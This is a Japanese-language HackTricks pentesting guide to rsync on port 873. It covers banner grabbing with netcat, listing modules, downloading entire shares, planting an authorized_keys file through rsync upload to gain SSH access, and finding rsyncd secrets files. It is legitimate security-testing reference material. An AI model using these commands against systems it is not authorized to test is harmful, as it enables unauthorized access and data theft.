hacktricks/network-services-pentesting/873-pentesting-rsync.md

9.2 KiB
Raw Blame History

873 - Pentesting Rsync

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

rsyncは、コンピュータと外付けハードドライブ、またはネットワーク化された コンピュータ間でファイルを効率的に転送および同期するためのユーティリティです。これは、ファイルの変更時間とサイズを比較することによって行われます。Unix系 オペレーティングシステムで一般的に見られます。rsyncアルゴリズムはデルタエンコーディングの一種であり、ネットワーク使用量を最小限に抑えるために使用されます。Zlibは追加のデータ圧縮に使用されることがあり、セキュリティのためにSSHまたはstunnelが使用されることがあります。

wikipediaより。

デフォルトポート: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

列挙

バナー & 手動通信

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

共有フォルダの列挙

rsyncモジュールは基本的にディレクトリ共有です。これらのモジュールはオプションでパスワードによる保護が可能です。このオプションは利用可能なモジュールをリストし、オプションでモジュールがアクセスにパスワードを要求するかどうかを判定します:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

共有名がリストに表示されないように設定されている可能性に注意してください。したがって、何か隠されたものがあるかもしれません。 また、アクセスするために(異なる)クレデンシャルが必要な共有名がリストに表示されていることにも注意してください。したがって、リストされている名前がすべてアクセス可能とは限らず、その中のいくつかにアクセスしようとしたときに "アクセス拒否" メッセージを受け取った場合に気づくでしょう。

ブルートフォース

手動 Rsync

モジュールのリストを取得したら、取りたいアクションと認証が必要かどうかに応じて、いくつかの異なるオプションがあります。認証が不要な場合、共有フォルダをリストすることができます:

rsync -av --list-only rsync://192.168.0.123/shared_name

And copy all files to your local machine via the following command:

そして、以下のコマンドを使用して、すべてのfilesをローカルマシンにcopyします:

rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

このコマンドは、マシン<IP>上のディレクトリ<shared_name>からすべてのファイルを再帰的に転送し、ローカルマシン上の./rsync_sharedディレクトリに保存します。ファイルは「アーカイブ」モードで転送され、シンボリックリンク、デバイス、属性、権限、所有権などが転送中に保持されます。

資格情報を持っている場合、以下のコマンドを使用して共有名をリストアップ/ダウンロードできます(パスワードが求められます):

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

また、rsyncを使用してコンテンツアップロードすることもできます例えば、この場合は_box_へのアクセスを得るために_authorized_keys_ファイルをアップロードできます

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncd設定ファイルを見つける

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
設定ファイルの中には、時々 _secrets file = /path/to/file_ というパラメータが見つかることがあり、このファイルにはrsyncdに認証するために許可されたユーザー名とパスワードが含まれている可能性があります。

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社の広告を掲載**したいですか? または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**にフォローしてください。**
* **ハッキングのコツを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**

</details>